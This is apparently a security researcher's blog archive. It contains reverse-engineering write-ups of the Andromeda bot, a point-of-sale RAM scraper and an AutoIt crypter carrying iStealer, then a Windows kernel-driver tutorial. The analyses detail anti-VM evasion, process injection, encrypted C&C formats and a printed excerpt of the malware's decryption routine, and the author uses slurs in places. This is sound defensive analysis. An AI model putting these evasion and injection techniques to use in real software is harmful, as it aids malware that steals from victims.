As we can see, the malware calls two functions: the first function walks trough the PEB to find loaded DLLs, converts unicode dll name into ANSI one and then hash it to compare it to the first argument (the hash of the wanted dll). So we can call this function "findLibraryByHash". Here, the functions gives to us the image base of kernel32.dll, checks if function is null and jumps into bullshit if the result is null. That's not the case here, so we go to the second function and we step into (F7)

The function begins to load some function by their hash (done by the function at 00401746, which i'll call getProcedureByHash). Then the function sets an exception handler (I'll explain later what it does), and there are some calls which are useless for us, except the call at 00401BF9 (the call before the two conditionnal jumps). The call is used to get a string pointer (and also as anti-disassembler trick). The first instruction of the call is "pop esi", so esi registers contains the address of return address, which is a string pointer (esi points to "guard32.dll" string). We also notice a "INC BYTE PTR DS:[ESI+B]", which increments 0xFF (aka -1), to have a null byte-terminated string. Then there is a call to GetModuleHandleA to check it module is loaded or not (anti-emulation protection). Then the malware checks if some processes are present in memory, just like the previous version of the bot.

As I'm using VirtualBox (with additions, yeah I know it sucks but I can't live with additions :3), I get redirected to 00401E95, which pushes some arguments and calls a function: let's analyze it :)

The function first loads some ntdll APIs (ZwAllocateVirtualMemory, RtlRandom, and other, just see what happens in ollydbg), then allocates virtual memory. After that, first argument is put into ebx, and then we have this call

This function is a RC4 decryption function, where key is stored at [ebx] and sizes 16 bytes, and data is stored at [ebx+28h]. Then we have a call to a jCalg1 decryption function (just like previous andromeda version), and to avoid stepping into, just put a breakpoint at 00401FBB to avoid relocation shit. Then the malware allocates again virtual memory and fills it with random bytes, before doing solving some APIs. But, after getting function address, the malware calls a strange function, which takes the random-filled memory space, the API address and an unknown variable... smells bad, so let's have a look into this.

This function calls another function which takes the address of the found function, and returns the length of the first instruction. Then this function compares if we have a jump, and if it is, follow the jump, otherwise copy the first instruction and then jump to the next instruction of desired API.

So, to bypass this shit, let's codecave a little to store original API address into the jump table (you can use both "Multiline Ultimate Assembler" or the integrated ollydbg assembler (there's only a few lines to assemble). We are lucky, there is some free space in 405150. in 401A4D (the "cmp eax,2"), make a jump to 405150, and assemble these lines:

  MOV EAX,DWORD PTR SS:[EBP+C]
  MOV DWORD PTR DS:[EAX],ESI
  JMP 00401A9B

Then put a breakpoint in "CALL EAX" on the caller function and F9. Then trace into function (F7) and enjoy ur dummy payload :> (we could guess it, as we got here because we got detected by the anti-VM tricks :)). Fake payload didn't change at all, it's still a fuckin' lame remote shell with some persistance in registry.

Now... gimme the real payload !

As we saw before, the malware places an exception handler, and if we play with the code to escape anti-VM tricks (or if debug this on your real computer :]), you should see something like "OR WORD PTR DS:[EAX+46],80" which throws an exception (because adress is not writeable here) which get handled if the process is not debugged by the exception handler put by the malware. Let's see what the fuck happens in the exception handler with IDA (IDA is very good to deal with structs and shit like this).

We see that the exception handler plays with contexts to redefine EIP, and also changes the stack on the fly, to make a "fake call stack" by doing

push sub_401AA2
push dword_402058
push 40h ; here is the fake return address, never called in fact
jmp loaderingPayload

We can also notice that the program checks the "EXCEPTION_ACCESS_VIOLATION" flags and check if we really come from the instruction "OR WORD PTR DS:[EAX+46],80".

So restart the program, replace the entry point code by the code just above, do the codecave as I described above, break on "call eax" then F9 and F7. The payload is basically the same than the previous version, it still uses the ZwMapViewOfSection trick to inject into msiexec.exe (it's no longer svchost or wuauclt.exe on 32bit systems), so see my previous article about andromeda loader analysis if you are interested (in french, sorry non-french ppl, but I think you can google translate or shit like this).

Bot analysis

The loaders injects the function passed as first argument into msiexec.exe (the "sub_401AA2" for me), so restart the program (again :>), set EIP to 00401AA2, apply the codecave I described in the first part (otherwise, you won't be able to understand what the fuck is happening with APIs), and as usual, F9 until "call eax" and then F7.

Here there is a lot of useless code (dealing with environment variables, creating pipes, etc) and it's never called for me (maybe it's debug stuff, learn how to use ifdef malware coders). It also load some strings depending if the malware runs in a priviligied account or not (to avoid UAC popups & other things like this), tries to allow itself in the Windows firewall, then the malware creates a thread, with contains the real bot logic (ThreadFunc is at 7FFA370B). The thread proc loads some additionnal DLLs (in ole32.dll and somme winhttp functions too), by calling the function at 7FFA19F4 and then call 7FFA2494, which places some hooks on ZwMapViewOfSection/ZwUnmapViewOfSection functions (maybe to protect its ass when loading another dll, I didn't understand what's really happening here). Then, it calls QueueUserAPC with its own callback (this function just seems to create a thread, according to its behaviour). So let's have a look into the callback function (with IDA, and sorry for the background glitches, too lazy to fix it):

We see here that the function grab "data" from 7FFA04B8, and grabs in a loop the first dword, compute it's opposite (call it n) and allocates a space of computed dword + 5 (to store a "magic" dword and the null byte), and then decrypt the n+1 bytes after the dword with a custom implementation of RC4, and loop until the last dword is null (the key is a part of the botkey, the 16 bytes start to the second byte of the key). So, C&C configuration looks like this:

(not dwSize)|c&c URL with null byte encrypted|(not dwSize)|c&c URL|....|dwSize = 0

Finally, the bot restores the original implementation of RC4 by fixing modification in key scheduling algorithm before destroying the callback function (maybe a trick anti-debug, but useless). So, let's return to the thread function. The bot then load its plugins if any (downloaded from the c&c), builds the version number which will be sent to the C&C, checks connectivity by attempting to connect to update.microsoft.com (maybe to SE the user and make him to allow connections). Finally the bot starts another thread, which is the communication with the C&C (the other thread proc is at 7FFA3557).

Here, we can see that the C&C response changed a lot: reply is still cyphered with RC4 and the RC4 key is still the field "id" sent by the bot to the C&C, but we have base64-encoded data encosed by "gn(" and ")". Once base64 data is decoded, protocol is the same, so just look my previous analysis of andromeda ;).

The last funny thing I could see in this malware is the usage of "RtlWalkHeap" by the malware: the bot walks trough the heap to recover the C&C urls it decoded before (with the index made by xoring the VolumeSerial with a constant which is incremented each time in the loop), and does some weird things with "CreateStreamOnHGlobal" and shit like this to get server's response.

If you are interested, you can find the sample I analyzed at http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1670&start=50#p18497 and the IDA databases are here.

Btw (unrelated), R.I.P to my netbook which died last Friday :(

POS Malware / RAM Scrapper

2013-01-27T19:32:00+01:00

For this first english article, I'll talk about a RAM scrapper I found in the wild (and because Xylitol asked me to write an article about POS malware :þ).

First the malware tries to start the service dispatcher (to launch a service of course), and then install it if service dispatcher failed to start (below, the service installation function):

The main service function is located at 00404150, so we set EIP here and we get this:

Then we have to nop the first conditional jump to continue (because malware detected process is not executed as a service). Then we see a call to EnumProcesses :

We notice a function called on each process enumerated shown below, and we step into it.

The function calls GetProcessName, deletes the path and compares name with a specific name. When matching process is found (its name is "posw32.exe") we get this :

Then function queries memory information of the process, and tries to read the process memory, and calls some crappy function which seems to look for a certain pattern (but I couldn't identify it):

And the most epic stuff, I found a weird string used by another crappy function after nopping to see what happened if the malware found something in RAM:

which decodes in:

Finally I got credentials to connect to the database (inside the connstr) and for the lulz:

Samples can be found at KernelMode thread

Analyse de andromeda (suite)

2012-12-31T11:30:00+01:00

Comme promis dans mon précédent billet, j'ai poursuivi (motivé à coup de chocapicz et de techno bourrine, enfin bref passons) ma quête du Graal, c'est-à-dire la poursuite de l'analyse de Andromeda Bot.
Je pense que cette analyse ennuyeuse à mourrir pour le commun des mortels ravira les reverseurs de malwares. Bref, j'arrête le bullshit du chapô (je suis pas doué en remplissage d'introductions, malheureusement), et passons aux choses sérieuses.

I- Installation du bot

Une fois avoir step into dans le "call eax" du loader (cf avant pour voir comment faire), nous pouvons observer ceci:

On a un appel à SetErrorMode (useless) puis un appel à une autre fonction avant d'avoir un leave puis ret. Donc, on F7 sur le 2ème call, où l'on tombe sur une routine qui parse le PEB à la recherche du "atoi" perdu, puis le process initialise le tas, récupère diverses infos telles que des infos sur le disque dur, la version installée, avant d'allouer une plage de mémoire.

Vient ensuite une vérification "amusante": le bot vérifie que la variable d'environnement "src" existe (cette variable a été crée par le loader), et le bot refuse de se lancer si cette variable n'existe pas. Il nous suffit de nopper le jmp derrière le call à "GetEnvironmentVariableW" pour poursuivre le déroulement du bot. Le bot call GetShortPathNameW, puis une fonction "mystérieuse" dans laquelle on va step into, ce qui nous permet d'obtenir ceci:

Le bot vérifie si l'utilisateur a bien le token admin, et place le chemin d'installation ainsi que la clé de registre à créer dans une variable pour être réutilisée plus tard. Une fois ceci fait, le bot récupère aléatoirement une extension définie dans une liste, avant de revenir dans la fonction parente. Il récupère ensuite les informations du disque dur, puis construit une chaîne numérique à partir de ces infos, qui servira de nom au mutex que créera le bot.
On voit ensuite un appel à RtlGetLastWin32Error, puis un appel à 00341A21, dans lequel on va step into (F7) avec ollydbg. On s'aperçoit que le bot va se copier à l'emplacement sélectionné précédemment, puis va créer la clé à l'emplacement choisi précédemment (encore :>), clé qui se voit attribuer des privilèges différents, pour complexifier sa suppression pour un néophyte. On retourne ensuite dans la fonction principale, qui détruit le fichier de lancement, avant d'initialiser winsocks et de créer plusieurs threads. Une analyse avec IDA nous montre que le bot va charger les modules qu'il a stockés au préalable, ainsi que charger une liste de DLLs (qui sont sûrement malveillantes).
Le dernier thread, quant à lui, est le "coeur" du bot, est est placé dans une boucle mise en pause par un ZwDelayExecution. On va donc poser un bp sur le ThreadProc du bot principal et lancer l'exécution via F9.

II - Analyse du coeur du bot

Une fois le breakpoint posé et l'exécution lancée, on obtient quelque chose comme ceci:

Une fois passé la création du "bot string" (je ne ferai pas de dessin, vous avez le screenshot en haut), on a deux boucles différentes.

Premièrement, esi pointe vers un tableau d'adresses (vide dans le sample que j'analyse), qui contient l'adresse de l'image base d'une DLL. Le bot va essayer de trouver une fonction (inconnue, étant donné qu'on a juste un hash) et de l'appeler. Cette fonction renvoit un pointeur vers une chaîne de caractères, qui va être concaténé au "bot string" qui sera renvoyé au C&C.

Une fois le tableau d'adresses parcoururu, un coup de chiffrement RC4 est appliqué au "bot string", puis le tout est encodé en base64. On charge ensuite dans esi un tableau de pointeurs, qui pointent vers une liste d'URLs de C&C (qui est parcouru dans la 2ème boucle).

Les données en base64 sont envoyées à l'URL spécifiée, et s'il n'y a pas eu de problème, le retour subit un décodage base64 puis RC4 avant de passer dans une fonction de "parsing", située juste avant le call de RtlFreeHeap (nommée loopData dans mon IDB).

Cette fonction prend pour argument les données décodées précédemment,que la fonction va traiter. Cette fonction est composée d'une boucle principale, qui récupère un octet de la zone, sort de la boucle si cet octet est nul. Si l'octet n'est pas nul, on le stocke dans ecx, et on récupère un dword. Ensuite, on push esi, eax et ecx à une fonction mystérieuse (qui va certainement effectuer les actions demandées par le C&C). On a enfin une boucle de "nettoyage" qui va incrémenter esi jusqu'à trouver un null byte. On peut donc en déduire que le C&C renvoie au bot un truc de la forme:

<padding de 4 octets><trame1>\0<trame 2>\0...<trame n>\0\0

où les trames sont constituées comme ceci:

<octet indiquant l'action à effectuer><id de la tâche><données>

Il ne nous reste désormais plus qu'à comprendre comment sont interprétées ces trames.
Le bot comprend 7 commandes différentes de la part du C&C. Toutes les commandes non reconnues ne font rien du tout (ce qui paraît logique :>). Bref, voici un aperçu des commandes (screenshot d'IDA):

La plupart des commandes envoyées par le C&C sont des ordres pour télécharger des plugins (modules compressés/chiffrés dans un format "propriétaires"), des exécutables et DLL en clair ou compressés dans le même format de fichier que les plugins (qui sont des binaires "plats"). On remarque aussi des fonctions de mise à jour du bot (qui va rechercher le nom du bot stocké dans le registre). On a malgré tout une fonction qui supprime les DLLs installées par le bot, ainsi qu'une fonction qui désinstalle le bot et ses modules.

Bref pour ceux qui sont intéressés, l'IDB du payload est disponible ici, et un script d'extraction est dispo ici aussi.

Analyse de Andromeda Bot (analyse du loader)

2012-12-16T00:00:00+01:00

Dans cet article, je vais détailler l'analyse d'un sample d'Andromeda, étant donné qu'il existe peu de littérature à ce sujet. Ce bot a été vraisemblablement écrit en assembleur, et est capable de détecter les machines virtuelles, s'injecter dans d'autres processus comme nous le verrons dans cet article. Je me baserai ici sur le sample que m'a gentiment donné Horgh, en passant rapidement sur l'unpacking du sample.

Vue générale et analyse du "dummy payload"

Lorsqu'on unpack le sample, on s'aperçoit qu'il existe très peu d'informations "utilisables" pour le reverser: quasiment aucune "String Data Reference" disponible, aucun import... Notre malware va donc directement rechercher les fonctions en parsant le PEB pour retrouver kernel32, et toutes les fonctions utiles, comme on peut le voir ci-dessous:

On voit ici que le handle de ntdll est recherché, pour ensuite trouver la fonction "LdrGetDllHandle", qui va être utilisée pour récupérer le handle de kernel32.dll. On a ensuite une boucle qui charge les fonctions depuis un tableau de hashes, pour ensuite stocker les adresses dans un tableau. Le process crée ensuite un mutex du doux nom de "lol".
Ensuite vient une partie intéressante du code: le bot énumère tous les process en cours, calcule un "hash" à partir du nom du process, et nous renvoie à la fin de la fonction principale si le hash correspond à un des hashs "blacklistés".

Pour ma part, il reconnaît le process "VBoxService.exe", et donc je me fais renvoyer à la fin du programme, où l'on apperçoit un call vers une fonction, qui prends 2 arguments: la valeur contenue dans eax (dans mon cas le hash correspondant à vboxservice.exe), puis une adresse dans [ebp-188], valant dans mon cas 00403FBF. Du coup, on peut step into (F7), voir ce qui se passe dans cette fonction.

Lorsqu'on step dans la fonction, on retrouve encore le code qui récupère le handle de ntdll, pour y charger des fonctions utiles pour la suite (ZwTerminateProcess, ZwAllocateVirtualMemory), puis va ensuite allouer une page mémoire avec cette dernière fonction. Au passage, la valeur du premier argument (l'adresse mémoire mystérieuse) est récupérée dans ebx, et la page mémoire a pour taille le premier DWORD pointé par ebx.

On appelle ensuite une 2ème fonction qui prend pour paramètres le dword pointé par ebx+4, ainsi que les adresses ebx+1c et ebx+3c ainsi que 0x20. Du coup on step-into dans la fonction, et on voit une fonction qui génère un tableau de nombres de 0 à 255 dans l'ordre croissant, puis un algorithme de "key scheduling": nous sommes donc face à une fonction de chiffrement RC4, qui prend pour clé le premier argument, c'est-à-dire ebp+1c, et fait son key sheduling jusqu'à ce qu'on atteigne la fin de la clé, c'est-à-dire le 0x20 passé en paramètre. On en déduit aisément que le pointeur ebp+3c sont les données à déchiffrer et que le [ebx+4] est la taille des données. On sort donc de la fonction, puis on aperçoit encore un appel vers une autre fonction qui prend pour paramètres la taille des données, un pointeur vers ebx+3c ainsi qu'un pointeur vers la zone allouée précédemment.

Lors de l'analyse de la 2ème fonction, on s'aperçoit que celle-ci a un comportement assez "chaotique", qui pourrait ressembler à un algorithme de décompression. Or, en ayant aperçu un "pushad" au début de la fonction, on peut en déduire que la sortie de la fonction sera signalée par un "popad", qu'il nous suffit juste de chercher (comme lors d'un unpack manuel de UPX). On va donc poser un breakpoint sur le "popad" et F9. Une fois le bp sur le "popad" posé, il nous faut F7 jusqu'à retomber sur la fonction principale (à "MOV EDI,DWORD PTR SS:[EBP-1C]") à cause de quelques tricks anti-debug. La fonction va ensuite continuer quelques initialisations (chargement de DLL et autres) avant d'arriver à la partie intéressante: le "call eax" sur lequel on va step into. On en conclut donc que la fonction appelée par l'entry point va charger et exécuter un payload, qui sera passé en paramètre. Vu qu'on a déclenché une détection anti-VM, on peut se douter qu'on est tombé sur un "dummy payload" conçu pour tromper le reverser peu attentif.

Une analyse rapide du payload montre que le malware se copie dans "%ALLUSERPROFILES%\svchost.exe", crée une clé de démarrage sous le nom de SunJavaUpdateShed, puis lance un simple remote shell.

Analyse du payload réel

Une fois l'analyse du "dummy payload" terminée, nous allons pouvoir analyser le payload réel. Pour cela, il nous faut soit contourner tous les sauts, soit sauter direct au bon endroit c'est-à-dire ici (ie en-dessous du dernier saut qui nous THE GAME):

On s'aperçoit que un payload différent est chargé dans [ebp-188] et qu'une adresse mystérieuse (004013B9 chez moi) est placée dans eax avant le call comme précédent. Etant donné qu'on a déjà analysé la fonction appelée, il nous suffit juste de bp sur le "call eax" et de step into. Une fois le step into réalisé, on se retrouve devant ceci:

En regardant rapidement le code, on s'aperçoit qu'il y a plein d'appels à ZwCreateSection, ZwMapViewOfSection et autres: le malware utilise ici la méthode d'injection décrite sur le blog de w4kfu, pour aller s'injecter dans wuauclt.exe si on est sur un système 32bits, ou svchost.exe si on est sur un système 64 bits. Le malware va ensuite copier sa section .text dans la section qu'il a créé, qu'il va ensuite ouvrir dans wuauclt.exe. Enfin, le payload récupère l'argument qui lui a été pushed (c'est-à-dire le 2ème argument pushed par l'EP à la fonction de déchiffrage/load), et modifie l'entry point de wuauclt.exe par un call vers la fonction du malware récupérée précédemment. On peut donc relancer le programme, et changer l'entry point vers l'adresse de la fonction mystérieuse avant de lancer un F9 (et s'assurer auparavant que notre bp sur "call eax" est toujours en place).

Enfin pour les curieux qui se demandent quel algorithme de compression est utilisé par andromeda, il s'agit vraisemblablement de l'algo aPLib légèrement modifié (il suffit juste de stfw quelques instructions "exotiques" utilisées par l'algo pour s'en rendre compte)

Edit du 16/12/2012: J'ai finalement ajouté l'IDB du "loader" disponible à cette adresse afin de rendre les choses plus "visuelles".

Reversing de faggoterie

2012-11-10T15:39:00+01:00

Ce matin, en naviguant sur HackerzVoice, j'ai l'agréable surprise de tomber sur ce magnifique post (qui a été supprimé depuis):

Bref, on se rend bien compte que ce genre de trucs seem legit, du coup let's reverse it ;).
Après un petit coup d'oeil avec IDA, on se rend compte que le machin a été écrit en AutoIT (lol), so on télécharge myAutToExe pour récupérer le code de l'exécutable, code qui possède une obfuscation assez lame (gros blocs de variables useless en plein milieu du code). On va donc nettoyer le code (la partie ennuyeuse du truc).

Bref pour les fainéants, je paste le code nettoyé, dispo ici, même si les vars au début (essentielles pour le fonctionnement du malware) sont fucked.
On remarque dans le code une fonction de cryptoshit, ainsi qu'une fonction pour faire du RunPE (smells "crypter"), ainsi qu'un auto-spread USB lame (recherche de clés branchées, et si c'est le cas, on se fout dessus + mise en place d'un autorun), ainsi qu'un downloader (mais ici, seul le RunPE a été activé).

On va donc reverse la fonction de crypto qui va balancer en mémoire un exécutable que va utiliser le RunPE (avec des trucs comme RunPE(@SCRIPTFULLPATH, BINARYTOSTRING(Cryptoshit($A6224827073, $F1367462515))) ). So, regardons la fonc renommée Cryptoshit (ici j'ai tronqué la variable $Z4515791355 pour pas tout défoncer).

FUNC Cryptoshit($G9095260435, $Key)
   LOCAL $Z4515791355= "0xC81001006A006A...C21000"
   LOCAL $Z3667942907= DLLSTRUCTCREATE("byte["& BINARYLEN($Z4515791355)& "]")
   DLLSTRUCTSETDATA($Z3667942907, 1, $Z4515791355)
   LOCAL $T2523372670= DLLSTRUCTCREATE("byte["& BINARYLEN($G9095260435)& "]")
   DLLSTRUCTSETDATA($T2523372670, 1, $G9095260435)
   DLLCALL(BINARYTOSTRING("0x7573657233322E646C6C"), "none", BINARYTOSTRING("0x43616C6C57696E646F7750726F63"), "ptr", DLLSTRUCTGETPTR($Z3667942907), "ptr", DLLSTRUCTGETPTR($T2523372670), "int", BINARYLEN($G9095260435), "str", $Key, "int", 0)
   LOCAL $R4297508756= DLLSTRUCTGETDATA($T2523372670, 1)
   $T2523372670= 0
   $Z3667942907= 0
   RETURN $R4297508756
ENDFUNC

On remarque ici que la fonction va appeler la fonction CallWindowProc avec pour fonction les grosses vars du début (celles qui ont été pétées par le disass). So, on va sortir OllyDBG, mettre un bp sur CallWindowProcA et CallWindowProcW pour retomber sur la fonction de déchiffrage ;)

Du coup on break sur la "WndProc", située en 020E2680, et après tout un tas de routines qui retrouvent les données chiffrées, on retrouve la fonction de chiffrage:

Ici, on voit un xor sur une donnée contenue dans ESI, chargé depuis [EBP+8] qui vaut 028B5FF0. En breakant sur "pop edi", on a bien l'exe déchiffré qui débute en 028B5FF0 et qui a une taille de 0x55000 octets. Il ne nous reste plus qu'à dump le tout et extraire le PE.

Le PE extrait est juste un sample de iStealer (lol again), et on récupère l'adresse du panel facilement avec mon extracteur de panel istealer (downloadeable ici)

First steps in ring0

2012-07-15T10:51:00+02:00

Ceux qui me croisent sur IRC savent que je commence à me mettre (timidement) à la programmation ring0 sous Windows (the real life, je jouerai avec le kernel linux un peu plus tard peut-être, quand je serai réapprovisionné en chocapicz).
Cet article se veut être une initiation au monde merveilleux qu'est le noyau Windows et ses drivers, monde merveilleux où un BSOD arrive très vite cependant.

Devant l'enthousiasme général, je vous propose donc de me suivre dans cette longue quête du Graal.

Préparation de l'environnement: the h4x0r way

Pour explorer le monde du noyau, une petite préparation s'impose. En effet, la programmation de driver diffère de la programmation d'un programme Windows classique, puisque le driver est chargé par le noyau, et donc il est plus difficile d'y accéder pour le déboguer. De plus, nos chères APIs Windows ne sont d'aucune utilité ici, et il nous faudra passer par les fonctions du noyau pour arriver à nos fins (plus ou moins documentées). Pour le développement de drivers, je vous recommande fortement de le faire depuis une machine virtuelle (ou depuis un PC "sacrifié"), un BSOD étant très vite arrivé.

Il nous faudra dans un premier temps installer un compilateur C (si ceci n'a pas déjà été fait). Que les libristes ou les réfractaires de Visual Studio se rassurent, il est tout à fait possible de compiler un driver avec MinGW, qui installe nativement les en-têtes nécessaires (et Code::Blocks, ce que je montrerai dans l'article). Si vous voulez malgré tout utiliser le compilateur MSVC, je vous laisse stfw pour la procédure d'installation du DDK.

Code::Blocks propose par ailleurs un modèle "Windows Driver" dont il serait bête de se priver. Il faudra juste veiller à rajouter le dossier "include\ddk" du répertoire d'installation de MinGW aux répertoires d'include pour que la compilation réussisse sans problème.

Avant de continuer, il nous faut aussi deux éléments indispensable: DebugView, qui permet d'afficher les messages de débogage du noyau (via la fonction DbgPrint), qui sera notre seul moyen de vérifier que tout fonctionne bien pour le moment ; ainsi que InstDrv, qui va permettre de charger notre driver. InstDrv est téléchargeable ici, et DebugView est disponible ici. Il faudra évidemment veiller à lancer DebugView avant de charger le driver avec InstDrv pour voir les messages (et afficher les messages du noyau, en cochant le menu "Capture -> Capture kernel", ainsi que "Catpure -> Enable Verbose Kernel Output").

Une fois ceci fait, nous voilà prêt pour créer notre premier driver !

Your first driver !

Il ne vous reste plus qu'à créer un nouveau projet du type "Kernel mode driver" sous Code::Blocks (et stfw si vous utilisez autre chose :þ). Cela nous crée un fichier driver.c qui contient:

NTSTATUS
STDCALL
DriverDispatch(IN PDEVICE_OBJECT DeviceObject,
               IN PIRP Irp)
{
    return STATUS_SUCCESS;
}

VOID
STDCALL
DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
    DbgPrint("DriverUnload() !\n");
    return;
}

NTSTATUS
STDCALL
DriverEntry(IN PDRIVER_OBJECT DriverObject,
            IN PUNICODE_STRING RegistryPath)
{
    DbgPrint("DriverEntry() !\n");

    DriverObject->DriverUnload = DriverUnload;

    return STATUS_SUCCESS;
}

La fonction principale est DriverEntry, comme on peut s'y attendre ; et je vous laisse demander à votre petite soeur ce que fait DriverUnload. La fonction DriverDispatch semble, elle plus bizarre. Cette fonction servira à gérer les IRP (je reviendrai sur ce point), mais n'est pas d'une grande utilité pour le moment.

Pour le moment contentons-nous de charger le driver avec InstDrv (normalement votre grand-mère devrait pouvoir le faire), et admirer le "DriverEntry() !" qui s'affiche dans DebugView (qu'il faut lancer avant de démarrer le driver). En cliquant sur le bouton "Stop" de InstDrv, on doit voir apparaître "DriverUnload() !" apparaître (si c'est pas le cas, vous pouvez toujours vous reconvertir dans l'élevage de chèvres).

On ne va pas s'arrêter en si bon chemin, et on va découvrir comment sortir notre driver de son autisme, et comment lui permettre de communiquer avec le monde utilisateur que nous connaissons bien, nous, humains.

Une histoire de devices et d'IRP

Notre driver est pour le moment un pauvre autiste, incapable de communiquer avec le monde extérieur. Un moyen assez simple de lui permettre de communiquer vers l'extérieur est de créer un "device" (du point de vue du kernel, ne rêvez pas, une imprimante 3D ne va pas se matérialiser subitement) qui sera accessible depuis l'userland (chez Mme Michu) via la fonction CreateFile. Une fois le "fichier" créé (point commun avec les systèmes UNIX-like, un device est un fichier), on peut soit lui envoyer des IOCTL, soit utiliser les fonctions ReadFile et WriteFile ; ces deux méthodes envoyant des IRP à notre driver, qu'il devra rattraper et traiter.

Une IRP est en réalité une structure qui "représente" une opération d'entrée/sortie sur le driver. Ainsi toutes les opérations de lecture ou d'écriture sont des IRP du point de vue du driver. Heureusement pour nous, Windows propose un moyen de filtrer les IRP, et de définir des fonctions "handler" permettant de traiter ces IRP (du même prototype que DriverDispatch).

Du point de vue programmation, on crée un device via la fonction IoCreateDevice, avec le code suivant qu'on placera dans DriverEntry, puis on crée un lien symbolique vers DosDevices pour rendre notre device accessible depuis l'userland (via \.\NomDuDevice):

NTSTATUS ntStatus;
const WCHAR *driverName = L"\\Device\\T4pZ";
const WCHAR *symlinkName = L"\\DosDevices\\T4pZ";

UNICODE_STRING unicodeDriverName;
UNICODE_STRING unicodeSymlink;

RtlInitUnicodeString(&unicodeDriverName, driverName);
RtlInitUnicodeString(&unicodeSymlink, symlinkName);

ntStatus = IoCreateDevice (
    DriverObject,
    0,
    &unicodeDriverName,
    FILE_DEVICE_UNKNOWN,
    0,
    TRUE,
    &mydevice);
mydevice->Flags |= DO_BUFFERED_IO;

if(NT_SUCCESS(ntStatus))
{
    DbgPrint("THE GAME BITCHZ\n");
    IoCreateSymbolicLink(&unicodeSymlink, &unicodeDriverName);
}

Il ne faudra pas oublier de rajouter PDEVICE_OBJECT mydevice; en variable globale, afin de pouvoir utiliser IoDeleteDevice dans la fonction DriverUnload (sous peine de devoir rebooter la machine ou de changer le nom du device ensuite). On a donc pour le moment ce code de driver, qui crée un device, mais qui ne fait rien pour le moment:

#include <ntddk.h>

PDEVICE_OBJECT mydevice;

NTSTATUS
STDCALL
DriverDispatch(IN PDEVICE_OBJECT DeviceObject,
               IN PIRP Irp)
{
    return STATUS_SUCCESS;
}

VOID
STDCALL
DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
    DbgPrint("DriverUnload() !\n");
    IoDeleteDevice(mydevice); // destruction du device sinon on est bon pour rebooter
    return;
}

NTSTATUS
STDCALL
DriverEntry(IN PDRIVER_OBJECT DriverObject,
            IN PUNICODE_STRING RegistryPath)
{
    NTSTATUS ntStatus;
    const WCHAR *driverName = L"\\Device\\T4pZ";
    const WCHAR *symlinkName = L"\\DosDevices\\T4pZ";

    UNICODE_STRING unicodeDriverName;
    UNICODE_STRING unicodeSymlink;

    DbgPrint("DriverEntry() !\n");

    DriverObject->DriverUnload = DriverUnload;

    RtlInitUnicodeString(&unicodeDriverName, driverName);
    RtlInitUnicodeString(&unicodeSymlink, symlinkName);

    ntStatus = IoCreateDevice (
        DriverObject,
        0,
        &unicodeDriverName,
        FILE_DEVICE_UNKNOWN,
        0,
        TRUE,
        &mydevice);
    mydevice->Flags |= DO_BUFFERED_IO;

    if(NT_SUCCESS(ntStatus))
    {
        IoCreateSymbolicLink(&unicodeSymlink, &unicodeDriverName);
    }
    return STATUS_SUCCESS;
}

Gestion des IRP

Une fois notre device créé et un handle ouvert par un programme userland quelconque, notre driver se fait bombarder d'IRPs qu'il ne sait pas traiter. Pour simplifier les choses, on ne traitera ici que les requêtes envoyées par ReadFile et WriteFile, et faire en sorte qu'un appel de WriteFile sur le handle de notre device affiche ce qui a été écrit avec DbgPrint, et qu'un appel à ReadFile renvoie "Salut les tapz !" (l'exemple est inutile, mais assez instructif).

Avant de passer du côté codingz de la Force, il faut savoir qu'il existe 3 modes différents de lecture/écriture des données passées dans un IRP,définis par le champs Flags de la structure PDEVICE_OBJECT (expliqués en mieux ici):

Le Direct Mode: dans ce mode, le kernel remplit la structure MdlAddress, qui est un pointeur vers une structure qui décrit le tampon de donnée (et il faudra utiliser les fonctions commençant Mm pour y accéder)
Le "Buffered I/O": ici le buffer est stocké dans le champ AssociatedIrp.SystemBuffer de la structure IRP, ce buffer étant une "copie" faite par le kernel du tampon fourni par l'utilisateur.
Le Neither Mode: ce mode donne un accès direct au tampon utilisateur, via le champ UserBuffer de la structure IRP.

Comme vous l'avez remarqué, j'ai utilisé le mode Buffered I/O dans le code, le direct mode étant assez "fastidieux" à utiliser. Grâce à ces précieuses informations, on va enfin pouvoir implémenter l'IRP associé à WriteFile (le plus facile), dont le doux nom est IRP_MJ_WRITE. Voici donc le code de notre handler de IRP_MJ_WRITE:

NTSTATUS
STDCALL
WriteFunction(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  DbgPrint("Write Function called");
  if(Irp->AssociatedIrp.SystemBuffer != 0) {
    DbgPrint("Got data from SystemBuffer: %s ", Irp->AssociatedIrp.SystemBuffer);
  }
  else {
    //on rattrape l'erreur pour pas se prendre un BSOD dans la face
    DbgPrint("OMGWTFBBQ is that shit ?");
  }
  return STATUS_SUCCESS;
}

Cependant, le kernel n'est pas au courant de l'existence de cette fonction, et il faut donc lui déclarer son existence grâce à la ligne DriverObject->MajorFunction[IRP_MJ_WRITE] = WriteFunction; dans notre fonction DriverEntry. Ainsi, un appel à WriteFile provoquera l'affichage de ce qui a été écrit dans DebugView.

Pour l'IRP Read, c'est un peu plus compliqué, puisque le buffer fourni par le programme userland a une taille fixée, et il se peut que les données à envoyer soient trop grosses pour le pauvre buffer. Pour la fonction de lecture, il faut donc récupérer la taille du buffer, s'assurer que les données à envoyer ne dépassent pas et indiquer le nombre d'octets écrits une fois la transmission terminée. Pour obtenir ces informations, il nous faut obtenir la structure IO_STACK_LOCATION, ce qui est possible grâce à la fonction IoGetCurrentIrpStackLocation. Je vous laisse lire la documentation de IRP_MJ_READ, pour comprendre le fonctionnement du code (qui devrait être assez simple à comprendre).

ReadFunction(IN PDEVICE_OBJECT DeviceObject,
                      IN PIRP Irp)
{
  PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);
  DbgPrint("Read Function called");
  DbgPrint("Asking reading %d bytes", IrpSp->Parameters.Read.Length);
  if(Irp->AssociatedIrp.SystemBuffer != 0)
  {
      DbgPrint("Sending \"Salut les t4pz !\" to reader");
      char *data = "Salut les t4pz !";
      int mini = min(IrpSp->Parameters.Read.Length, 17); // 17 = strlen(data)
      memcpy(Irp->AssociatedIrp.SystemBuffer, data, mini);
      Irp->IoStatus.Status = STATUS_SUCCESS;
      Irp->IoStatus.Information = mini;
  }
  else {
    //on rattrape l'erreur pour pas se prendre un BSOD dans la face
    DbgPrint("OMGWTFBBQ is that shit ?");
  }
  return STATUS_SUCCESS;
}

